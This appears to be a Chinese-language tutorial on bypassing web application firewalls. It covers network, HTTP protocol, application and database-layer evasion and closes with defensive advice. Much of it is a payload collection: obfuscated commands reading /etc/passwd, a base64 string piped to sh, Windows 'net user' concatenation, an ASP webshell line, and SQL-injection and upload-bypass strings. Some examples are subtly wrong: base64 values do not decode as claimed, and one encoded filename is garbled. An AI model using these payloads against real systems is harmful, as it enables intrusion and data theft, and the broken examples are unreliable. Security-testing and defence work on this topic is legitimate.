Web应用防火墙(WAF)作为保护网站安全的重要防线,其绕过技术一直是网络安全研究的热点领域。本文将系统性地介绍WAF绕过的方法论、具体技术方案和实践策略,内容涵盖网络架构层、HTTP协议层、应用层以及数据库层的绕过技术,并提供详细的案例分析和防御建议。
WAF基础与绕过方法论
Web应用防火墙(WAF)是一种专门设计用来保护Web应用程序的安全解决方案,它通过监控、过滤和阻止恶意HTTP/HTTPS流量来防御各类网络攻击。WAF通常部署在Web应用程序和客户端之间,像一座"智能安检门"检查所有进出网站的流量,核心任务包括拦截攻击(如SQL注入、XSS)、过滤异常请求(如CC攻击)以及通过"虚拟补丁"临时隐藏漏洞。
WAF的工作流程可分为四个关键阶段:
预处理阶段:判断请求是否为HTTP/HTTPS,检查URL是否在白名单中
规则检测阶段:将解析后的数据包与预置规则库进行匹配
处理模块:根据检测结果执行放行、阻断或告警操作
日志记录:记录所有拦截和处理日志供后续分析
绕过WAF的本质是寻找WAF设备之后处理应用层数据包的硬件/软件特性,构造WAF无法识别但应用程序能成功执行的载荷。这些特性就像特定场景,当满足这些场景而WAF未考虑时,就能实现绕过。成功的WAF绕过需要三个关键条件:熟练掌握目标系统函数和语法、深入了解中间件运行机制,以及了解WAF的防护原理和方法。
从技术实施角度看,WAF绕过可分为四大层面:
网络架构层绕过:针对WAF部署位置的绕过
HTTP协议层绕过:利用协议解析差异
应用程序层绕过:利用应用特性或漏洞
数据库层绕过:利用数据库特性和SQL语法技巧
网络架构层绕过技术
网络架构层的WAF绕过主要针对WAF的部署位置和网络流量路径设计,核心思路是避开WAF的检测范围或找到防护体系的薄弱环节。这一层的绕过尤其适用于云WAF场景,通过寻找真实服务器IP或利用网络配置不当实现绕过。
寻找真实IP绕过云WAF
云WAF通常通过DNS解析将流量引导至云端防护节点,找到网站的真实服务器IP即可实现直接访问,绕过云WAF的防护。以下是几种有效的真实IP发现方法:
二级域名与其他域名解析记录:
查找同一域名注册者下的其他域名解析记录,特别是未接入WAF的二级域名(如test.example.com、dev.example.com)可能直接解析到真实IP
使用工具如
dig或nslookup查询相关域名的DNS记录
邮件服务器MX记录:
邮件服务器通常与Web服务器位于同一网络环境,通过查询域名的MX记录可能发现真实IP
Windows下使用
nslookup -qt=mx example.comLinux下使用
dig mx example.com
历史解析记录查询:
网站接入云WAF前的DNS记录可能暴露真实IP
使用SecurityTrails等服务查询域名历史解析记录: https://securitytrails.com/
全网扫描与SSRF利用:
使用Zmap等快速扫描工具对全网IP进行扫描,通过特征比对找到真实服务器
若目标存在SSRF漏洞,可通过漏洞反向连接获取网站真实IP
利用网络配置漏洞
除了寻找真实IP,网络架构层的绕过还包括:
同网段绕过:当WAF仅防护特定网段时,通过处于同一内网的其他设备发起请求可能绕过防护
边界漏洞利用:利用网络边界设备(如负载均衡器、CDN节点)的配置缺陷或漏洞,将恶意流量注入到WAF防护区域之外
IP白名单绕过:部分WAF对搜索引擎爬虫或特定IP段(如公司内网)设置白名单,伪装成这些可信来源可能绕过检测
表:网络架构层绕过技术对比
技术方法 | 适用场景 | 实施难度 | 隐蔽性 | 所需工具 |
|---|---|---|---|---|
二级域名解析 | 存在未防护子域名 | 低 | 中 | dig/nslookup |
MX记录查询 | 邮件与Web同服务器 | 低 | 高 | 系统内置命令 |
历史记录查询 | 域名曾直接解析 | 中 | 高 | SecurityTrails |
全网扫描 | 其他方法无效 | 高 | 低 | Zmap等扫描器 |
SSRF利用 | 存在SSRF漏洞 | 中 | 高 | 漏洞利用工具 |
网络架构层的绕过往往是最直接有效的方法,但依赖于目标系统的配置情况和信息收集的全面性。在实际渗透测试中,这些技术常与其他层面的绕过方法结合使用,形成多层次的绕过策略。
HTTP协议层绕过技术
HTTP协议层的绕过技术利用WAF与后端服务器在协议解析上的差异,通过构造特殊的HTTP请求实现防护绕过。这种类型的绕过不依赖于特定应用程序或数据库,具有较高的通用性,是WAF绕过中最常用的方法之一。
SSL/TLS协议绕过
利用WAF对SSL加密算法支持不全面的特性可以实现绕过,特别是在某些硬件WAF场景下:
SSL/TLS版本与加密套件探测:
使用
sslscan工具识别服务器支持的SSL/TLS版本和加密套件:sslscan http://target/ | grep Accept对比WAF与后端服务器支持的加密算法,找出WAF不支持但服务器支持的组合
特定加密算法请求:
使用curl指定特定加密套件发起请求:
curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test这种方法可能使WAF无法解密检测流量,而后端服务器能正常处理
HTTP协议版本与管道化技术
HTTP协议版本的差异和管道化技术可有效绕过部分WAF的检测机制:
HTTP协议版本差异:
通过发送非标准HTTP版本请求(如HTTP/0.9)或最新版本(如HTTP/2)利用WAF解析差异
某些WAF对老版本协议支持不完善,可能忽略部分恶意请求
HTTP管道化(Pipeline)技术:
在单个TCP连接中连续发送多个HTTP请求,利用WAF可能只检测第一个请求的特性
需要设置
Connection: keep-alive头部维持连接第一个请求为正常请求,后续请求包含恶意载荷
分块传输编码(Chunked Transfer Encoding):
使用
Transfer-Encoding: chunked头部,将请求体分块发送WAF与后端服务器对分块数据解析逻辑可能不一致
数据最后需要用
0独占一行表示结束
编码与内容类型绕过
利用各种编码方式和内容类型声明可以混淆WAF的检测规则:
URL编码与双重URL编码:
对特殊字符进行URL编码:
'变为%27,变为%20双重URL编码:
%27变为%2527,部分WAF只解码一次案例:
' OR 1=1 --编码为%2527%2520OR%25201%253D1%2520--绕过安全狗
字符集编码(Charset)绕过:
修改
Content-Type头部使用非常用字符集:Content-Type: application/x-www-form-urlencoded;charset=ibm500可用字符集包括ibm037、ibm500、cp875、ibm1026等
Burpsuite的HTTP Request Smuggler插件可简化此类数据包修改
MIME编码绕过:
主要用于Spring框架,利用文件名MIME解码特性
文件名格式:
=?charset?B?base64str?=,如=?UTF-8?B?YS5gc3A=?=解码为a.jspWAF可能未处理此类编码而直接放行
请求头与参数污染技术
请求头操纵和参数污染是HTTP协议层绕过的有效手段:
Host头绕过:
修改Host头绕过基于域名防护的WAF:
Host: localhost:80 Host: 127.0.0.1:80适用于WAF仅验证特定Host头的场景
HTTP参数污染(HPP):
提交多个同名参数,利用WAF与后端取参差异:
?id=1&id=union select 1,2,3WAF可能检查第一个
id参数,而后端取最后一个不同服务器对多值参数的处理方式不同,PHP通常取最后一个,ASP.NET取第一个
Content-Type切换:
将
application/x-www-form-urlencoded改为multipart/form-data部分WAF对multipart请求只检测文件上传,忽略其他攻击
需要构造合适的boundary和请求结构
表:HTTP协议层主要绕过技术对比
技术类别 | 具体方法 | 适用WAF类型 | 检测难度 | 实施复杂度 |
|---|---|---|---|---|
SSL/TLS绕过 | 加密套件差异 | 硬件WAF | 高 | 中 |
协议版本 | HTTP/0.9或HTTP/2 | 云WAF/硬件WAF | 中 | 低 |
分块编码 | Transfer-Encoding: chunked | 多数WAF | 中 | 高 |
双重URL编码 | %2527代替%27 | 规则简单WAF | 低 | 低 |
字符集编码 | charset=ibm500 | 依赖内容检测WAF | 中 | 中 |
参数污染 | 多个同名参数 | 参数检查不严WAF | 低 | 低 |
HTTP协议层的绕过技术不断创新,随着HTTP/3等新协议的出现和各类中间件解析差异的发现,未来将出现更多基于协议特性的绕过方法。这些技术往往可以组合使用,形成更复杂的绕过策略。
应用程序层绕过技术
应用程序层绕过技术主要利用Web应用程序、中间件或脚本引擎的特有功能或解析差异来绕过WAF检测。这类绕过方法通常针对特定技术栈,需要根据目标系统的具体实现选择合适的技术。
Web服务器特性利用
不同Web服务器对HTTP请求的解析存在差异,这些差异可被用于WAF绕过:
IIS服务器%特性:
在ASP+IIS环境中,
s%elect可能被解析为select因IIS会删除
%字符,而WAF可能保留原始输入类似地,
un%ion可绕过对union关键词的检测
IIS Unicode解析特性:
IIS支持Unicode解析,如
s%u0065lect被转换为select更高级的技巧是利用多个widechar转换为同一字符:
%u0065(e)和%u00f0都会被转换为e
案例:
s%u0065lect和s%u00f0lect都被解析为select
Apache畸形Method处理:
某些Apache版本会忽略非常规HTTP方法,如
DOTA2 /?id=1可能被当作GET请求处理WAF可能严格校验方法类型而导致绕过
可尝试非标准方法如
GETT、POSTx等
PHP解析特性:
PHP在解析multipart数据时,boundary识别可能只取逗号前内容
设置boundary为
----aaaa,123456,PHP只识别----aaaaWAF可能获取整个字符串导致解析不一致
文件上传绕过技术
文件上传是常见的攻击向量,针对WAF的上传过滤有多种绕过方法:
多重filename属性:
PHP取最后一个filename值,而WAF可能检查第一个:
Content-Disposition: form-data; name="file"; filename="a.txt";filename="a.php"最终服务器接收
a.php,而WAF检查a.txt
boundary与注释混淆:
在boundary中插入注释或特殊字符:
Content-Type: multipart/form-data; boundary=----12345/*test*/不同组件对注释的处理可能不一致
文件内容混淆:
在文件开头添加大量注释或垃圾数据(超过WAF检测大小限制)
使用图片马或混合内容绕过内容检测
对文件内容进行编码或加密
脚本命令执行绕过
系统命令执行是攻击的常见目标,有多种方法可绕过WAF对命令的检测:
Linux命令绕过:
空格绕过:
cat</etc/passwd cat${IFS}/etc/passwd X=$'cat\x20/etc/passwd'&&$X命令分割:
c'a't /etc/pass'"wd c""at /e't'c/pass""wd /b??/ca? /e?c/pas?wd通配符扩展:
/b*/ca* /et*/pas*d
Windows命令绕过:
变量截取与拼接:
set a=net user & call %a% %CommonProgramFiles:~10,-18%baidu.com特殊字符干扰:
wh^o^am""i算术表达式:
%PROGRAMFILES:~10,-5%
脚本引擎执行:
通过Perl、Python等执行命令:
python -c 'import subprocess; subprocess.call(["ca"+"t","/et"+"c/pa"+"sswd"])'PHP:
php -r 'exec("ca"."t /et"."c/pa"."sswd");'Base64编码执行:
echo Y2F0IC91dGMvcGFzc3dk | base64 -d | sh
编码与混淆技术
各种编码转换和混淆技术可有效绕过基于关键词检测的WAF规则:
多重编码组合:
Unicode编码:
\u0065\u0076\u0061\u006c代替evalHTML实体编码:
<script>代替<script>混合编码:
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E绕过XSS过滤
变量与字符串拼接:
JavaScript:
['al','ert'].join('')('1')PHP:
$a='ass';$b='ert';$c=$b.$a; $c(1);SQL:
CONCAT('sel','ect')代替select
进制转换与特殊表示:
十六进制:
0x61646D696E代替admin八进制:
\163\145\154\145\143\164(select)十进制:
char(115,101,108,101,99,116)
表:应用程序层绕过技术适用场景
技术类型 | 适用环境 | 检测难度 | 实施复杂度 | 典型案例 |
|---|---|---|---|---|
IIS %特性 | ASP+IIS | 中 | 低 | s%elect → select |
多重filename | PHP应用 | 中 | 中 | 文件上传绕过 |
命令分割 | Linux系统 | 高 | 中 | c'a't /etc/passwd |
变量拼接 | Windows系统 | 中 | 中 | set a=net user & call %a% |
Unicode编码 | 支持Unicode解析的系统 | 高 | 高 | \u0065 → e |
多重编码 | 所有Web应用 | 高 | 高 | 混合URL+Unicode编码 |
应用程序层的绕过技术高度依赖于目标系统的具体实现和环境配置,在实际渗透测试中需要结合信息收集结果选择合适的技术。随着Web技术的发展和新编程特性的出现,这类绕过方法也在不断演进和丰富。
数据库层绕过技术
数据库层绕过技术专门针对WAF的SQL注入防护机制,利用数据库特性和SQL语法技巧构造恶意查询。这类技术需要深入了解各类数据库的语法差异和特性,是SQL注入攻击中的高级技巧。
SQL注释与空白符技巧
注释和空白符的灵活运用是绕过WAF关键词检测的基础方法:
注释符绕过:
普通注释:
union/**/select使用/**/分割关键词长注释干扰:
union/*aaaaaaaaaaaaa*/select消耗WAF匹配资源内联注释(MySQL特有):
/*!union*/select或/*!50000union*/select版本号注释:
/*!32302 1/0*/仅在MySQL 3.23.02以下版本执行
空白符替代:
MySQL空白符包括:
%09(TAB)、%0A(换行)、%0B、%0C、%0D、%A0等特殊空白符:
%25A0(URL编码的%A0)案例:
union%250Cselect利用换页符分隔关键词
注释与换行组合:
1%23%0AAND%23%0A1=1%23解码后:1# AND# 1=1##在MySQL中为注释符,%0A为换行
数据库函数与语法特性
利用数据库特有函数和语法特性可构造复杂绕过载荷:
函数分隔技巧:
concat%2520(使用双重编码空格concat/**/(使用注释分隔concat%25a0(使用特殊空白符
浮点数词法解析:
id=8E0union select 1,2,3id=8.0union select 1,2,3id=\Nunion select 1,2,3
MySQL特殊语法:
ODBC转义语法:
select {x table_name} from {x information_schema.tables}大括号表达式:
union{x select{x 1},2}
报错注入函数:
extractvalue(1,concat(0x5c,md5(3)))updatexml(1,concat(0x5c,md5(3)))几何函数:
GeometryCollection((select * from (select * from (select @@version)x)y)) polygon((select * from (select name_const(version(),1))x))这些函数常被WAF忽略但能执行SQL
等价替换与逻辑混淆
通过关键词替换和逻辑重构可绕过简单的关键词过滤规则:
关键词等价替换:
and→&&,or→||=→like或rlikesleep()→benchmark(10000000,md5(1))substr()→substring()或mid()
逻辑重构:
union select 1,2→union select * from ((select 1)A join (select 2)B)if(a,b,c)→case when a then b else c endlimit 1,1→limit 1 offset 1
十六进制与字符编码:
admin→0x61646D696Eselect→char(115,101,108,101,99,116)部分场景可用二进制或八进制表示
高级绕过技术
针对复杂WAF规则的高级绕过方法:
缓冲区溢出绕过:
构造超长参数名或值消耗WAF处理资源
如超过48KB的POST数据可能绕过某些ISAPI过滤器
案例:填充48KB无用数据后再写注入语句
PCRE限制绕过:
利用WAF的正则匹配次数限制(PCRE_EXTRA_MATCH_LIMIT)
注入大量注释消耗匹配资源:
union/*aaa...*/select当注释字符超过100万时可能绕过部分WAF
Libinjection绕过:
Libinjection是许多WAF使用的SQLi检测库
使用不常用SQL函数:
mod(3,2) union select mod(3,2),usr,pwd from user特殊字符插入:
1<@可能绕过检测大括号语法:
1 and{ifupdatexml(1,concat(0x3a,(select schema_name from information_schema.schemata limit 0,1)),1)}
Fuzz测试绕过:
编写脚本自动化测试各种变异组合
使用随机UA头减少被封锁风险
示例Fuzz向量:
fuzz_aa = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00'] fuzz_bb = ['', ' '] fuzz_cc = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]组合测试如
/*!union%s%s%sselect*/
表:数据库层绕过技术分类
技术类型 | 主要方法 | 适用数据库 | 检测难度 | 实施复杂度 |
|---|---|---|---|---|
注释干扰 | /**/、/!/、# | 多数数据库 | 中 | 低 |
空白符变异 | %0A、%A0等 | MySQL、MSSQL | 高 | 中 |
报错注入 | updatexml等 | MySQL | 低 | 中 |
等价替换 | &&代替and | 多数数据库 | 低 | 低 |
ODBC语法 | {x select} | MySQL | 高 | 高 |
PCRE限制 | 超长注释 | 规则严格WAF | 高 | 中 |
Libinjection绕过 | 特殊字符插入 | 使用Libinjection的WAF | 高 | 高 |
数据库层绕过技术是SQL注入攻击中的高级主题,需要根据目标数据库类型和WAF规则特点选择合适的技术组合。随着WAF技术的进步,单纯的注释或大小写变换可能不再有效,需要结合协议层和应用层技术形成多层次的复合绕过策略。
综合绕过策略与防御建议
前文详细介绍了各层面的WAF绕过技术,但在实际环境中,单一技术往往难以突破现代高级WAF的防护。本章将探讨如何综合应用各类技术形成有效的绕过策略,同时从防御角度提供WAF配置建议,帮助安全人员加固防护体系。
多技术组合绕过策略
分层组合攻击是突破WAF的有效方法,通过结合网络层、协议层和应用层技术构造复杂攻击载荷:
编码嵌套组合:
将Unicode编码与双重URL编码结合:
%25%37%35(双重编码的u) +%25%36%35(e) =%u0065HTML实体编码嵌套Base64:
<script>+Base64编码事件处理函数案例:
%2527(双重编码单引号) +%20union%20+%0Aselect(换行分隔)
协议与数据库层结合:
使用HTTP分块传输编码发送SQL注入载荷
在POST数据超过48KB后插入SQL语句,绕过ISAPI过滤器
修改Content-Type为
multipart/form-data同时使用数据库注释符分隔关键词
应用与数据库层结合:
利用PHP的
filename解析特性上传.php文件,文件内容包含编码后的SQL语句通过文件包含漏洞执行上传文件,触发二次SQL注入
案例:上传文件名为
=2UTF-82B?YS5gc3A=?=(解码为a.jsp),内容包含<% execute(request("cmd")) %>
情景化绕过流程示例:
通过DNS历史记录找到真实IP,绕过云WAF
使用
curl --ciphers ECDHE-RSA-AES256-SHA建立SSL连接发送分块编码的POST请求,参数名重复且第一个参数正常
SQL语句中使用
/*!union*/内联注释和%0A换行关键表名和列名使用十六进制表示
0x7573657273(users)
WAF绕过检测与防御
针对日益复杂的绕过技术,防御方需要采取多层次的安全措施:
WAF配置加固建议:
启用全量解码检测:对URL编码、Unicode、Base64等进行多层解码后检测
限制最大HTTP头数量和大小,防止缓冲区溢出攻击
设置合理的PCRE匹配限制,既防ReDoS又避免被绕过
对所有同名参数进行检测,而非仅第一个或最后一个
架构设计建议:
避免暴露真实IP,定期检查DNS记录
邮件服务器与Web服务器分离,MX记录不指向业务IP
使用网络层ACL限制非HTTP/HTTPS流量访问Web服务器
考虑混合部署模式:云WAF+本地硬件WAF形成多层次防护
监控与日志分析:
记录所有被拦截请求的原始数据,包括HTTP头和body
对成功请求进行抽样分析,检测潜在绕过行为
建立异常流量基线,监控偏离基线的请求模式
使用机器学习检测编码异常和参数变异模式
代码层防御:
使用参数化查询而非拼接SQL
输入验证采用白名单而非黑名单
统一大小写处理,避免大小写绕过
对文件上传进行内容检测而非仅依赖扩展名
未来趋势与研究方向
WAF绕过技术仍在持续演进,以下几个方向值得关注:
AI驱动的绕过技术:
使用生成对抗网络(GAN)自动生成绕过载荷
基于强化学习的自动化Fuzz测试框架
上下文感知的语义绕过,理解应用逻辑后构造合法恶意请求
新兴协议与标准:
HTTP/3协议带来的新解析差异
WebAssembly等新执行环境中的绕过可能性
服务网格(Service Mesh)架构下的安全边界变化
硬件级绕过:
利用CPU推测执行等硬件特性绕过安全检测
基于时间的侧信道攻击探测WAF规则
GPU加速的暴力Fuzz测试
防御技术演进:
行为分析替代静态规则匹配
客户端证明(Client Proof)技术验证请求合法性
可编程WAF支持自定义检测逻辑
表:WAF绕过与防御技术对比
技术维度 | 攻击方策略 | 防御方对策 | 技术成熟度 | 实施成本 |
|---|---|---|---|---|
编码混淆 | 多重嵌套编码 | 全量解码检测 | 高 | 中 |
协议差异 | 利用解析不一致 | 规范化处理 | 中 | 高 |
资源消耗 | 大数据包/长注释 | 合理限制 | 高 | 低 |
参数污染 | 多同名参数 | 全参数检测 | 高 | 低 |
语义分析 | 上下文相关载荷 | 行为分析 | 低 | 高 |
AI对抗 | 自动生成载荷 | AI检测引擎 | 新兴 | 很高 |
WAF绕过与防护是一场持续的攻防博弈,没有一劳永逸的解决方案。安全团队需要保持对最新绕过技术的了解,定期评估和调整防护策略,同时加强开发人员的安全培训,从源头减少漏洞的产生。只有将WAF与其他安全措施结合,形成纵深防御体系,才能有效应对日益复杂的网络攻击。
尤其是防止xgz干坏事,必须得加防御!